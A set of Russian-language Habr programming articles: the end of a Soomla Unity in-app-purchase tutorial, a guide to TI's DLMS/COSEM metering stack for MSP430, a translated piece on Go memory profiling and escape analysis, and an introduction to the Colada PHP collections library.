#if UNITY_ANDROID && !UNITY_EDITOR
StoreEvents.OnIabServiceStarted += onIabServiceStarted;
StoreEvents.OnIabServiceStopped += onIabServiceStopped;
#endif
}
public void onUnexpectedStoreError(int errorCode) {
SoomlaUtils.LogError ("ExampleEventHandler", "error with code: " + errorCode);
}
public void onMarketPurchase(PurchasableVirtualItem pvi, string payload, Dictionary extra) {
}
public void onItemPurchased(PurchasableVirtualItem pvi, string payload) {
}
public void onBillingSupported() {
}
public void onBillingNotSupported() {
}
public void onMarketPurchaseStarted(PurchasableVirtualItem pvi) {
}
public void onItemPurchaseStarted(PurchasableVirtualItem pvi) {
}
public void onMarketPurchaseCancelled(PurchasableVirtualItem pvi) {
}
public void onCurrencyBalanceChanged(VirtualCurrency virtualCurrency, int balance, int amountAdded) {
}
public void onSoomlaStoreInitialized() {
}
#if UNITY\_ANDROID && !UNITY\_EDITOR
public void onIabServiceStarted() {
}
public void onIabServiceStopped() {
}
#endif
}
```
Вот и все, система полностью готова к работе.
Но теперь немного о личном кабинете Soomla. Там вы можете отслеживать все транзакции ваших пользователей, как с реальными деньгами, так и с внутриигровой валютой, для того и нужны блага и категории, чтобы проще было все отслеживать, но для работы с этой вещью нужно еще поработать с Soomla Highway. Но эта статья не об этом.
И пару слов о тестировании. Тестировать покупки на android просто, залили билд, к примеру, для бета теста и тестируйте на здоровье, но вот на ios обязательно создайте аккаунт для sandbox:
 | https://habr.com/ru/post/263899/ | null | ru | null |
# Знакомство со стеком DLMS/COSEM для микроконтроллеров семейства MSP430 компании Texas Instruments
В последнее время протокол DLMS/COSEM стал активно применяться в приборах учета (счетчики электрической энергии, тепла, воды, газа) отечественного производства. Почти у каждой компании, специализирующейся на выпуске микроконтроллеров, имеется, сертифицированный стек DLMS/COSEM, используя который можно сократить стоимость и время разработки прибора учета, поддерживающий данный протокол. В этой статье речь пойдет о стеке DLMS/COSEM для микроконтроллеров семейства MSP430 компании Texas Instruments.
Стек DLMS/COSEM от компании TI имеет следующие особенности:
* Поддерживаются все интерфейсные классы COSEM.
* Поддерживаются три уровня ассоциации: открытый доступ (no security), низкий уровень секретности (low security) и высокий уровень секретности (high security). Доступ к прибору учета в режиме высокого уровня секретности осуществляется с применением 4-стадийной аутентификацией, основанной на алгоритме AES128.
* Поддерживается только LN (long name) адресация.
* Поддерживается одна, двух и четырех байтовая адресация.
* Поддерживаются сервисы GET, SET, GET WITH BLOCK, SET WITH BLOCK, ACTION, а также селективный доступ для объектов класса Profile Generic.
* Требуемый размер памяти для хранения стека – 24 кБ.
* Требуемый размер оперативной памяти – 1,8кБ.
Для того чтобы «пощупать» стек нам понадобятся:
1. Среда разработки IAR Embedded Workbench for MSP430;
2. DLMS/COSEM клиент, возьмем бесплатный с открытым исходным кодом [DLMSDirector](http://www.gurux.fi/Download) от компании Gurux;
3. Оценочная плата EVM430-F6779;
4. Отладчик/программатор MSP-FET430UIF.
#### Загрузка и распаковка
Стек DLMS/COSEM доступен по адресу (<http://www.ti.com/tool/dlmsobj-eval>), для его загрузки необходимо иметь учетную запись TI. Сам стек упакован в дистрибутив под названием *DLMS-4.0.6-windows-installer*. После его установки, в папке установки будет лежать zip-папка «DLMS\_Object» в которой находятся файлы стека.
Библиотека состоит из следующих файлов:
* *iec62056\_demo.c*: В этом файле инициализируется вся периферия микроконтроллера и конечный автомат HDLC;
* *uart\_comms.c*: Файл конфигурации для модуля UART;
* *iec62056\_link.r43*: В этом файле реализованы HDLC и MAC уровни;
* *server\_msgs.r43*: В этом файле реализован прикладной уровень COSEM;
* *config.c*: Основной конфигурационный файл. В этом файле можно удалять или добавлять параметры для списка объектов (object list);
* *app\_server\_msgs.c*: В этом файле пишутся функции для извлечения данных из памяти и предоставления их библиотеке DLMS;
* *config.h*: Макроопределения и прототипы функций для файла config.c;
* *cosem.h*: Определения всех констант, используемых в прикладном уровне COSEM;
* *iec\_62056\_link.h*: Макроопределения и прототипы функций для HDLC уровня;
Все эти файлы уже собраны в проект под название dlms\_obj.eww.
#### Запуск проекта
В этой части мы запустим демонстрационный проект и посмотрим, как представляются объекты COSEM. Для этого, открываем файл *dlms\_obj.eww* в IAR for MSP430 и выбираем требуемый микроконтроллер, в нашем случае это MSP430F67791.
Собираем проект и программируем контроллер. Открываем программу DLMSDirector и добавляем новое устройство со следующими параметрами:
Нажимаем кнопку «ОК». Затем в дереве «Devices» выбираем наше устройство, нажимаем кнопку «Connect» и … получаем вот такую ошибку:
Исправляется она легко, открываем файл *uart\_comms.c* проекта *dlms\_obj.eww* и в строке 132 видим, что при конфигурировании UART была допущена «опечатка»:
Правильная строка должна иметь вид:
```
P3SEL0 |=(BIT0|BIT1);
```
После исправления, связь с прибором учета успешно устанавливается, в результате чего становится доступной кнопка «Read», а в статусной строке мы видим «Ready»:
Для загрузки информации с прибора учета нажимаем кнопку «Read». Процесс этот не быстрый, поэтому придется чуть-чуть подождать. В результате получаем дерево из объектов COSEM:
В данном стеке, в открытом доступе, по умолчанию, отображается пять объектов:
* 0.0.1.0.0.255 – отображает текущее время в приборе учета;
* 0.0.40.0.0.255 – отображает информацию о текущей ассоциации;
* 0.0.40.0.1.255 – отображает информации об ассоциации №1;
* 0.0.41.0.0.255 – отображает так называемое SAP назначение;
* 0.0.42.0.0.255 – отображает логическое имя устройства, по сути – серийный номер счетчика.
Например, информация о текущем времени в приборе учета представляется следующим образом:
Мы можем не только узнать время, но и получить информацию о часовом поясе, об источнике тактирования, о дате и времени перехода на летнее время и обратно, а в режиме высокой секретности появляется возможность задавать эти параметры.
Для доступа к прибору учета в режиме низкой секретности необходимо использовать следующие настройки (Пароль по умолчанию — 00000000):
В этом режиме доступно гораздо больше объектов COSEM:
#### Добавление нового объекта COSEM
Для добавления нового объекта открываем файл *config.c* проекта *dlms\_obj.eww*, находим структуру:
```
const struct object_desc_s object_list[]
```
и добавляем в нее следующую строку:
```
{ASSOC_PC_MR_US, CLASS_ID_DATA, 0, { 0, 0, 96, 1, 0, 255}, 2, Obj_Meter_Sr_No, 0, NULL}
```
Где:
* ASSOC\_PC\_MR\_US – определяет видимость объекта, в данном случае объект будет виден и в режиме открытого доступа, и в режиме доступа с низким уровнем секретности и в режиме доступа с высоким уровнем секретности;
* CLASS\_ID\_DATA – идентификатор интерфейсного класса, в данном случае объект относится к классу Data;
* 0 – версия класса (0);
* { 0, 0, 96, 1, 0, 255} – логическое имя объекта;
* 2 – количество атрибутов (2);
* Obj\_Meter\_Sr\_No – указатель на список атрибутов;
* 0 – количество методов (0);
* NULL – указатель на список методов (методы отсутствуют).
Затем создаем структуру со списком атрибутов в том же файле:
```
static const struct attribute_desc_s Obj_Meter_Sr_No[] =
{
{1, ACCESS_PCR__MRR__USR_, TAG_OCTET_STRING, (void *) object_list[11].instance_id, NULL},
{2, ACCESS_PCR__MRR__USR_, TAG_OCTET_STRING, (void *) Meter_Sr_No, NULL},
};
```
Где:
* Первый параметр – номер атрибута;
* Второй параметр – права доступа;
* Третий параметр – тип данных атрибута;
* Четвертый параметр – указатель на данные;
* Пятый параметр – функция обратного вызова. Это функция вызывается, когда данные необходимо взять, например, из EEPROM памяти. Более подробную информацию можно получить из руководства пользователя.
В нашем случае объект не имеет функции обратного вызова, а в качестве типа данных используется строка байтов.
*Meter\_Sr\_No* указывает на следующую структуру:
```
const uint8_t Meter_Sr_No[] =
{
8, 'A','B','C','D','1','2','3','4'
};
```
Вот и все процедуры по созданию нового объекта. Результат:
#### Заключение
В данной статье не приводится полного описания библиотеки DLMS/COSEM для микроконтроллеров семейства MSP430, так как без освещения основных моментов самого протокола это сделать трудно. Однако тем, кому такое описания необходимо могут ознакомиться с ним загрузив его с сайта компании TI (<http://www.ti.com/tool/dlmsobj-eval>). | https://habr.com/ru/post/302180/ | null | ru | null |
# Языковая механика профилирования памяти
Прелюдия
--------
Это третья из четырех статей в серии, которая даст представление о механике и дизайне указателей, стеков, куч, escape analysis и семантики значения/указателя в Go. Этот пост посвящен профилированию памяти.
Оглавление цикла статей:
1. [Language Mechanics On Stacks And Pointers](https://www.ardanlabs.com/blog/2017/05/language-mechanics-on-stacks-and-pointers.html) ([перевод](https://habr.com/ru/post/496846))
2. [Language Mechanics On Escape Analysis](https://www.ardanlabs.com/blog/2017/05/language-mechanics-on-escape-analysis.html) ([перевод](https://habr.com/ru/post/497994/))
3. [Language Mechanics On Memory Profiling](https://www.ardanlabs.com/blog/2017/06/language-mechanics-on-memory-profiling.html)
4. [Design Philosophy On Data And Semantics](https://www.ardanlabs.com/blog/2017/06/design-philosophy-on-data-and-semantics.html)
Посмотрите это видео, чтобы увидеть демонстрацию этого кода:
[DGopherCon Singapore (2017) — Escape Analysis](https://engineers.sg/video/go-concurrency-live-gophercon-sg-2017--1746)
Вступление
----------
В предыдущем посте я обучил основам escape analysis, используя пример, который разделяет значение в стеке горутины. Я не показал вам других сценариев, которые могут привести к переносу значений в кучу. Чтобы помочь вам с этим я собираюсь отладить программу, которая делает аллокации неожиданным образом.
Программа
---------
Я хотел узнать больше о пакете io, поэтому я придумал для себя небольшую задачу. Дан поток байтов, напишите функцию, которая может найти строку elvis и заменить ее строкой Elvis с заглавной буквы. Мы говорим о короле, поэтому его имя всегда должно быть написано с заглавной буквы.
Вот ссылка на решение: [play.golang.org/p/n\_SzF4Cer4](https://play.golang.org/p/n_SzF4Cer4)
Вот ссылка на бенчмарки: [play.golang.org/p/TnXrxJVfLV](https://play.golang.org/p/TnXrxJVfLV)
*В листинге приведены две разные функции, которые решают эту задачу. В этом посте основное внимание будет уделено функции algOne, поскольку она использует пакет io. Используйте функцию algTwo, чтобы самостоятельно поэкспериментировать с профилями памяти и процессора.*
Вот входные данные, которые мы собираемся использовать и ожидаемый результат от функции algOne.
Листинг 1
```
Input:
abcelvisaElvisabcelviseelvisaelvisaabeeeelvise l v i saa bb e l v i saa elvi
selvielviselvielvielviselvi1elvielviselvis
Output:
abcElvisaElvisabcElviseElvisaElvisaabeeeElvise l v i saa bb e l v i saa elvi
selviElviselvielviElviselvi1elviElvisElvis
```
Ниже приведен листинг функции algOne.
Листинг 2
```
80 func algOne(data []byte, find []byte, repl []byte, output *bytes.Buffer) {
81
82 // Use a bytes Buffer to provide a stream to process.
83 input := bytes.NewBuffer(data)
84
85 // The number of bytes we are looking for.
86 size := len(find)
87
88 // Declare the buffers we need to process the stream.
89 buf := make([]byte, size)
90 end := size - 1
91
92 // Read in an initial number of bytes we need to get started.
93 if n, err := io.ReadFull(input, buf[:end]); err != nil {
94 output.Write(buf[:n])
95 return
96 }
97
98 for {
99
100 // Read in one byte from the input stream.
101 if _, err := io.ReadFull(input, buf[end:]); err != nil {
102
103 // Flush the reset of the bytes we have.
104 output.Write(buf[:end])
105 return
106 }
107
108 // If we have a match, replace the bytes.
109 if bytes.Compare(buf, find) == 0 {
110 output.Write(repl)
111
112 // Read a new initial number of bytes.
113 if n, err := io.ReadFull(input, buf[:end]); err != nil {
114 output.Write(buf[:n])
115 return
116 }
117
118 continue
119 }
120
121 // Write the front byte since it has been compared.
122 output.WriteByte(buf[0])
123
124 // Slice that front byte out.
125 copy(buf, buf[1:])
126 }
127 }
```
Я хочу знать, насколько хорошо работает эта функция и какое давление она оказывает на кучу. Чтобы узнать это, давайте запустим бенчмарк.
Бенчмаркинг
-----------
Я написал бенчмарк, который вызывает функцию algOne для выполнения обработки потока данных.
Листинг 3
```
15 func BenchmarkAlgorithmOne(b *testing.B) {
16 var output bytes.Buffer
17 in := assembleInputStream()
18 find := []byte("elvis")
19 repl := []byte("Elvis")
20
21 b.ResetTimer()
22
23 for i := 0; i < b.N; i++ {
24 output.Reset()
25 algOne(in, find, repl, &output)
26 }
27 }
```
Мы можем выполнить этот бенчмарк используя go test с ключасми -bench, -benchtime и -benchmem.
Листинг 4
```
$ go test -run none -bench AlgorithmOne -benchtime 3s -benchmem
BenchmarkAlgorithmOne-8 2000000 2522 ns/op 117 B/op 2 allocs/op
```
После выполнения бенчмарка мы видим, что функция algOne аллоцирует 2 значения общей стоимостью 117 байт на операцию. Это здорово, но нам нужно знать, какие строки кода в функции вызывают эти аллокации. Чтобы узнать это, нам нужно сгенерировать данные профилирования для этого теста.
Профилирование
--------------
Чтобы сгенерировать данные профилирования, запустим бенчмарк снова, но на этот раз запросим профиль памяти с помощью ключа -memprofile.
Листинг 5
```
$ go test -run none -bench AlgorithmOne -benchtime 3s -benchmem -memprofile mem.out
BenchmarkAlgorithmOne-8 2000000 2570 ns/op 117 B/op 2 allocs/op
```
После завершения бенчмарка, инструмент тестирования создал два новых файла.
Листинг 6
```
~/code/go/src/.../memcpu
$ ls -l
total 9248
-rw-r--r-- 1 bill staff 209 May 22 18:11 mem.out (NEW)
-rwxr-xr-x 1 bill staff 2847600 May 22 18:10 memcpu.test (NEW)
-rw-r--r-- 1 bill staff 4761 May 22 18:01 stream.go
-rw-r--r-- 1 bill staff 880 May 22 14:49 stream_test.go
```
Исходный код находится в папке memcpu в функции algOne файла stream.go и функции бенчмарка в файле stream\_test.go. Созданные два новых файла называются mem.out и memcpu.test. Файл mem.out содержит данные профиля, а файл memcpu.test, названный в честь папки, содержит тестовый двоичный файл, который нам нужен для доступа к символам при просмотре данных профиля.
Имея данные профиля и тестовый двоичный файл, мы можем запустить инструмент pprof для изучения данных профиля.
Листинг 7
```
$ go tool pprof -alloc_space memcpu.test mem.out
Entering interactive mode (type "help" for commands)
(pprof) _
```
При профилировании памяти и поиске «низко висящих фруктов» вы можете использовать опцию -alloc\_space вместо опции по умолчанию -inuse\_space. Это покажет вам, где происходит каждую аллокацию, независимо от того, находится ли она в памяти или нет, когда вы берете профиль.
В окне ввода (pprof) мы можем проверить функцию algOne с помощью команды list. Эта команда принимает регулярное выражение в качестве аргумента, для того чтобы найти функцию(и), которую вы хотите просмотреть.
Листинг 8
```
(pprof) list algOne
Total: 335.03MB
ROUTINE ======================== .../memcpu.algOne in code/go/src/.../memcpu/stream.go
335.03MB 335.03MB (flat, cum) 100% of Total
. . 78:
. . 79:// algOne is one way to solve the problem.
. . 80:func algOne(data []byte, find []byte, repl []byte, output *bytes.Buffer) {
. . 81:
. . 82: // Use a bytes Buffer to provide a stream to process.
318.53MB 318.53MB 83: input := bytes.NewBuffer(data)
. . 84:
. . 85: // The number of bytes we are looking for.
. . 86: size := len(find)
. . 87:
. . 88: // Declare the buffers we need to process the stream.
16.50MB 16.50MB 89: buf := make([]byte, size)
. . 90: end := size - 1
. . 91:
. . 92: // Read in an initial number of bytes we need to get started.
. . 93: if n, err := io.ReadFull(input, buf[:end]); err != nil || n < end {
. . 94: output.Write(buf[:n])
(pprof) _
```
Основываясь на этом профиле, мы теперь знаем что input и buf аллоцируются в кучу. Поскольку input является переменной-указателем, профиль действительно говорит о том, что выделяется значение bytes.Buffer, на которое указывает указатель input. Итак, давайте сначала сосредоточимся на аллокации input и поймем, почему она происходит.
Мы могли бы предположить, что аллокация происходит, потому что вызов функции bytes.NewBuffer разделяет значение bytes.Buffer, которое создает стек вызовов. Тем не менее, наличие значения в столбце flat (первый столбец в выводе pprof) говорит мне, что значение аллоцируется, потому что функция algOne разделяет его таким образом, чтобы заставить его выйти в кучу.
Я знаю, что столбец flat представляет аллокации в функции, поэтому посмотрите, что показывает команда list для функции Benchmark, которая вызывает algOne.
Листинг 9
```
(pprof) list Benchmark
Total: 335.03MB
ROUTINE ======================== .../memcpu.BenchmarkAlgorithmOne in code/go/src/.../memcpu/stream_test.go
0 335.03MB (flat, cum) 100% of Total
. . 18: find := []byte("elvis")
. . 19: repl := []byte("Elvis")
. . 20:
. . 21: b.ResetTimer()
. . 22:
. 335.03MB 23: for i := 0; i < b.N; i++ {
. . 24: output.Reset()
. . 25: algOne(in, find, repl, &output)
. . 26: }
. . 27:}
. . 28:
(pprof) _
```
Поскольку в столбце cum (второй столбец) есть только значение, это говорит мне о том, что функция Benchmark ничего не аллоцирует напрямую. Все аллокации происходят из вызовов функций, которые выполняются внутри этого цикла. Вы можете видеть, что все номера аллокаций из этих двух вызовов list совпадают.
Мы до сих пор не знаем, почему выделяется значение bytes.Buffer. Здесь вам пригодится ключ -gcflags "-m -m" команды go build. Профилировщик может только сказать вам, какие значения перемещаются в кучу, а build может сказать вам, почему.
Отчетность компилятора
----------------------
Давайте спросим у компилятора, какие решения он принимает для escape analysis в коде.
Листинг 10
```
$ go build -gcflags "-m -m"
```
Эта команда производит много выходных данных. Нам просто нужно найти в выводе все, что имеет stream.go: 83, поскольку stream.go — это имя файла, который содержит этот код, а строка 83 содержит конструкцию значения bytes.buffer. После поиска мы находим 6 строк.
Листинг 11
```
./stream.go:83: inlining call to bytes.NewBuffer func([]byte) *bytes.Buffer { return &bytes.Buffer literal }
./stream.go:83: &bytes.Buffer literal escapes to heap
./stream.go:83: from ~r0 (assign-pair) at ./stream.go:83
./stream.go:83: from input (assigned) at ./stream.go:83
./stream.go:83: from input (interface-converted) at ./stream.go:93
./stream.go:83: from input (passed to call[argument escapes]) at ./stream.go:93
```
нас интересует первая строка, которую мы нашли по поиску stream.go: 83.
Листинг 12
```
./stream.go:83: inlining call to bytes.NewBuffer func([]byte) *bytes.Buffer { return &bytes.Buffer literal }
```
Это подтверждает, что значение bytes.Buffer не исчезло, поскольку оно было передано в стек вызовов. Это произошло потому, что вызов bytes.NewBuffer никогда не происходил, код внутри функции был встроенным.
Вот строка кода, о которой идет речь:
Листинг 13
```
83 input := bytes.NewBuffer(data)
```
Из-за того, что компилятор решил встроить вызов функции bytes.NewBuffer, написанный мной код преобразуется в это:
Листинг 14
```
input := &bytes.Buffer{buf: data}
```
Это означает, что функция algOne создает значение bytes.Buffer напрямую. Итак, теперь вопрос в том, что заставляет значение выходить из стекового фрейма algOne? Этот ответ находится в других 5 строках, которые мы нашли в отчете.
Листинг 15
```
./stream.go:83: &bytes.Buffer literal escapes to heap
./stream.go:83: from ~r0 (assign-pair) at ./stream.go:83
./stream.go:83: from input (assigned) at ./stream.go:83
./stream.go:83: from input (interface-converted) at ./stream.go:93
./stream.go:83: from input (passed to call[argument escapes]) at ./stream.go:93
```
Эти строки говорят нам о том, что побег в кучу происходит в 93 строке кода. Переменной input присваивается значению интерфейса.
Интерфейсы
----------
Я не помню, чтобы вообще делал в коде присваивание значение интерфейса. Однако, если посмотреть на строку 93, станет ясно, что происходит.
Листинг 16
```
93 if n, err := io.ReadFull(input, buf[:end]); err != nil {
94 output.Write(buf[:n])
95 return
96 }
```
Вызов io.ReadFull вызывает присваивание интерфейса. Если вы посмотрите определение функции io.ReadFull, вы увидите, что она принимает переменную input через интерфейсный тип.
Листинг 17
```
type Reader interface {
Read(p []byte) (n int, err error)
}
func ReadFull(r Reader, buf []byte) (n int, err error) {
return ReadAtLeast(r, buf, len(buf))
}
```
Похоже, что передача адреса bytes.Buffer вниз по стеку вызовов и его сохранение в значении интерфейса Reader вызывает побег (escape). Теперь мы знаем, что цена использования интерфейса высока: распределение и косвенность. Так что, если неясно, как именно интерфейс делает код лучше, вероятно, вам не нужно его использовать. Вот несколько рекомендаций, которым я следую, чтобы проверить использование интерфейсов в моем коде.
Используйте интерфейс, когда:
* пользователи API должны предоставить детали реализации.
* У API есть несколько реализаций, которые они должны поддерживать внутри.
* Были определены части API, которые могут измениться и требуют разделения.
Не используйте интерфейс:
* ради использования интерфейса.
* для обобщения алгоритма.
* когда пользователи могут объявить свои собственные интерфейсы.
Теперь мы можем спросить себя, действительно ли этому алгоритму нужна функция io.ReadFull? Ответ — нет, потому что тип bytes.Buffer имеет набор методов, который мы можем использовать. Использование методов против значения, которым обладает функция, может предотвратить аллокации.
Давайте изменим код, чтобы удалить пакет io, и используем метод Read непосредственно для переменной input.
Это изменение кода избавляет от необходимости импортировать пакет io, поэтому, чтобы сохранить все номера строк одинаковыми, я использую пустой идентификатор для импорта пакета io. Это позволит импорту остаться в списке.
Листинг 18
```
12 import (
13 "bytes"
14 "fmt"
15 _ "io"
16 )
80 func algOne(data []byte, find []byte, repl []byte, output *bytes.Buffer) {
81
82 // Use a bytes Buffer to provide a stream to process.
83 input := bytes.NewBuffer(data)
84
85 // The number of bytes we are looking for.
86 size := len(find)
87
88 // Declare the buffers we need to process the stream.
89 buf := make([]byte, size)
90 end := size - 1
91
92 // Read in an initial number of bytes we need to get started.
93 if n, err := input.Read(buf[:end]); err != nil || n < end {
94 output.Write(buf[:n])
95 return
96 }
97
98 for {
99
100 // Read in one byte from the input stream.
101 if _, err := input.Read(buf[end:]); err != nil {
102
103 // Flush the reset of the bytes we have.
104 output.Write(buf[:end])
105 return
106 }
107
108 // If we have a match, replace the bytes.
109 if bytes.Compare(buf, find) == 0 {
110 output.Write(repl)
111
112 // Read a new initial number of bytes.
113 if n, err := input.Read(buf[:end]); err != nil || n < end {
114 output.Write(buf[:n])
115 return
116 }
117
118 continue
119 }
120
121 // Write the front byte since it has been compared.
122 output.WriteByte(buf[0])
123
124 // Slice that front byte out.
125 copy(buf, buf[1:])
126 }
127 }
```
Когда мы запустим бенчмарк для этого изменения кода, мы увидим, что аллокации для значения bytes.Buffer больше нет.
Листинг 19
```
$ go test -run none -bench AlgorithmOne -benchtime 3s -benchmem -memprofile mem.out
BenchmarkAlgorithmOne-8 2000000 1814 ns/op 5 B/op 1 allocs/op
```
Мы также видим улучшение производительности примерно на 29%. Время изменилось с 2570 нс / оп до 1814 нс / оп. Теперь, когда это решено, мы можем сосредоточиться на аллокации вспомогательно среза для фрагмента buf. Если мы снова используем профилировщик для новых данных профиля, которые мы только что создали, мы сможем определить, что именно вызывает оставшееся аллокации.
Листинг 20
```
$ go tool pprof -alloc_space memcpu.test mem.out
Entering interactive mode (type "help" for commands)
(pprof) list algOne
Total: 7.50MB
ROUTINE ======================== .../memcpu.BenchmarkAlgorithmOne in code/go/src/.../memcpu/stream_test.go
11MB 11MB (flat, cum) 100% of Total
. . 84:
. . 85: // The number of bytes we are looking for.
. . 86: size := len(find)
. . 87:
. . 88: // Declare the buffers we need to process the stream.
11MB 11MB 89: buf := make([]byte, size)
. . 90: end := size - 1
. . 91:
. . 92: // Read in an initial number of bytes we need to get started.
. . 93: if n, err := input.Read(buf[:end]); err != nil || n < end {
. . 94: output.Write(buf[:n])
```
Единственное оставшаяся аллокация находится в строке 89, которая предназначена для создания вспомогательный среза.
Стековые фреймы
---------------
Мы хотим знать почему для вспомогательного среза для buf происходит аллоцируется? Давайте снова запустим сборку с помощью опции -gcflags "-m -m" и выполним поиск stream.go: 89.
Листинг 21
```
$ go build -gcflags "-m -m"
./stream.go:89: make([]byte, size) escapes to heap
./stream.go:89: from make([]byte, size) (too large for stack) at ./stream.go:89
```
В отчете говорится, что вспомогательный массив «слишком большой для стека». Это сообщение вводит в заблуждение. Дело не в том, что массив слишком большой, а в том, что компилятор не знает, какой размер у вспомогательного массива во время компиляции.
Значения могут быть помещены в стек только в том случае, если компилятор во время компиляции знает размер значения. Это связано с тем, что размер каждого стекового фрейма для каждой функции вычисляется во время компиляции. Если компилятор не знает размер значения, оно помещается в кучу.
Чтобы показать это, давайте временно захардкодим размер среза до 5 и снова запустим бенчмарк.
Листинг 22
```
89 buf := make([]byte, 5)
```
В этот раз аллокаций больше нет.
Листинг 23
```
$ go test -run none -bench AlgorithmOne -benchtime 3s -benchmem
BenchmarkAlgorithmOne-8 3000000 1720 ns/op 0 B/op 0 allocs/op
```
Если вы еще раз посмотрите на отчет компилятора, вы увидите, что ничто не перемещается в кучу.
Листинг 24
```
$ go build -gcflags "-m -m"
./stream.go:83: algOne &bytes.Buffer literal does not escape
./stream.go:89: algOne make([]byte, 5) does not escape
```
Очевидно, что мы не можем хардкодить размер среза, поэтому нам придется жить с 1 аллокацией для этого алгоритма.
Аллокации и производительность
------------------------------
Сравните приросты производительности, которых мы достигли при каждом рефакторинге.
Листинг 25
```
Before any optimization
BenchmarkAlgorithmOne-8 2000000 2570 ns/op 117 B/op 2 allocs/op
Removing the bytes.Buffer allocation
BenchmarkAlgorithmOne-8 2000000 1814 ns/op 5 B/op 1 allocs/op
Removing the backing array allocation
BenchmarkAlgorithmOne-8 3000000 1720 ns/op 0 B/op 0 allocs/op
```
Мы получили увеличение производительности примерно на 29% за счет того, что убрали аллокацию bytes.Buffer и ускорение на ~ 33% после удаления всех аллокаций. Аллокации — это место, где производительность приложений может пострадать.
Заключение
----------
В Go есть несколько удивительных инструментов, которые позволяют вам понять принимаемые компилятором решения в отношении escape analysis. Основываясь на этой информации, вы можете выполнить рефакторинг кода, чтобы способствовать сохранению значений в стеке, которые не должны быть в куче. Вы не должны писать программу с нулевым количеством аллокаций, но должны стремиться минимизировать аллокации, когда это возможно.
Не делайте производительность главным приоритетом при написания кода, потому что вы не хотите гадать что должно быть производительным. Напишите код и оптимизируйте его для достижения производительной работы для достижения задачи первого приоритета. Это означает, что в первую очередь нужно сосредоточиться на целостности, удобочитаемости и простоте. После того, как у вас есть рабочая программа, определите, достаточно ли она быстра. Если нет, используйте инструменты, предоставляемые языком, чтобы найти и исправить проблемы с производительностью. | https://habr.com/ru/post/511176/ | null | ru | null |
# Colada — удобная работа с коллекциями
**Colada** — библиотека для *удобной* и *безопасной* работы с коллекциями в PHP.
Это, прежде всего, работа в объектно-ориентированном стиле (что из коробки в PHP довольно неудобно). Немодифицируемые коллекции, защита от NPE (Null Pointer Exception) при помощи опциональных значений (optional values), любые значения (а не только скаляры) для ключений в map'ах — это всё об этом.
Установка
---------
Установить библиотеку через [Composer](http://habrahabr.ru/post/145946/) так же просто, как… Как и подключить её в виде git submodule :)
```
{
"require": {
"alexeyshockov/colada": "dev-master"
}
}
```
```
$ git submodule add git://github.com/alexeyshockov/colada.git vendor/colada
```
Коллекции
---------
Как же воспользоваться Colada после установки? Есть несколько вариантов, самый простой из которых: сделать коллекцию из обычного массива, который в большинстве случаев уже имеется в наличии, и с которым нужно произвести какие-то модификации:
```
$counts = to_collection(array(2, 3, 50, 36));
$users = to_set(array('label1', 'label2', 'label3'));
```
Так же можно создать коллекцию самому, если имеются все нужные элементы:
```
$counts = collection(2, 3, 50, 36);
$users = set('label1', 'label2', 'label3');
```
Почти как стандартный array()!
### mapBy(), acceptBy()/rejectBy(), foldBy()
Хорошее описание функционального стиля работы с коллекциями уже довольно неплохо дано в статье «[Что не так с циклами for?](http://habrahabr.ru/post/140439/)». В Colada map, accept/reject и fold имеют точно такой же смысл, как и во всех остальных библиотеках для работы с коллекциями (Underscore.js, Scala Collections и т.д.).
Рассмотрим пример:
```
$saleCount = $users
->acceptBy(x()->isActive())
->mapBy(x()->getSales())
->foldBy(function($count, $posts) {
return $count + count($posts);
}, 0);
```
Надеюсь, код выше говорит сам за себя, и его смысл понятен по ходу чтения, за исключением… Что за x()?
### x()
Тем, у кого есть опыт программирования на Scala или подобном языке, в котором работа с замыканиями изначально делалась максимально удобной, это может показаться знакомым.
Scala:
```
val emails = users.map(x.getEmail());
```
PHP (Colada):
```
$emails = $users->mapBy(x()->getEmail());
```
В PHP работа с замыканиями несколько более многословна, чем в том же Scala. Но для большинства случаев, когда нужно просто вызвать getter у объекта в коллекции, всё можно упростить, как и показано выше.
x() — это будущий элемент коллекции. Использование его эквивалентно простому замыканию:
```
$emails = $users->mapBy(function($user) {
return $user->getEmail()
});
```
Вы всё ещё пишите замыкание для каждой мелочи? Тогда мы идём к вам! ;)
Хеши (a.k.a. maps)
------------------
Если коллекции — это просто наборы элементов, то хеши представляют из себя пары ключ/значение, с которыми мы так же сталкиваемся каждый день. Как и для обычных коллекций, мы можем создать хеш
```
$users = to_map(array('managers' => array(1, 3), 'users' => array(2, 3, 4)));
```
и работать с ним в объектно-ориентированном стиле, используя знакомые mapBy() и acceptBy()/rejectBy(), а так же другие полезные и удобные методы: mapElementsBy(), flip(), pick().
Кто-то сказал, что один листинг кода иногда бывает лучше тысячи слов:
```
$usersByGroups = $users
->mapBy(x()->isActive())
->groupBy(x()->getGroup())
->mapElementsBy(x()->count());
foreach ($groups as $group) {
echo 'Group "'$group->getName().'" contains '.$usersByGroups->get($group)->orElse(0).' users.';
echo "\n";
}
```
В коде выше можно заметить одну особенность: не считая «сахарных» методов, которые упрощают работу с коллекциями и хешами, Map::get() возвращает не само значение по ключу, а объект-обёртку некоего класса Option, о котором я не упоминал до текущего момента.
### Optional Values
Сэр Энтони Хоар, которому приписывают введение NULL-значений, как-то сказал:
> *I call it my billion-dollar mistake.*
>
>
На тему защиты от NPE (Null Pointer Exception) было сказано много слов и придумано несколько решений. Одним из них является введение так называемых опциональных значений. В некоторых языках они есть изначально: в Haskell это Maybe, в Scala — Option. Для остальных языков существуют библиотеки, как, например, [Optional из Google Guava](http://code.google.com/p/guava-libraries/wiki/UsingAndAvoidingNullExplained) для Java.
Опциональные значения в Colada очень похожи на свой аналог из Scala. Some означает наличие значения, None — его отсутствие. В использовании опциональные значения очень похожи на коллекции (упрощая, можно думать, что возвращается коллекция из одного или ноля элементов):
```
echo "Город: ";
echo $user->getCity()->mapBy(x()->getName())->orElse('-');
```
На примере выше показано, как может применяться опциональное значение в классах модели предметной области. В данном случае, при работе с городом пользователя, мы никогда не забудем, что он может быть и не заполнен. Точно так же мы никогда не забудем, что запрашиваемый ключ может вообще не существовать в данном хеше.
**Make me unsee it**Если есть уверенность, что ключ присутствует в хеше, либо связываться с опциональными значениями не хочется по каким-то другим причинам, можно всегда воспользоваться методом apply(), который, в отличии от get(), вернёт элемент без каких либо обёрток:
```
foreach ($groups as $group) {
echo 'Group "'$group->getName().'" contains '.$usersByGroups->apply($group).' users.';
echo "\n";
}
```
И словить исключение, если элемента таки не оказалось.
Использование опциональных значений — довольно обширная тема, детальное описание которой дело отдельной статьи.
Производительность и использование памяти
-----------------------------------------
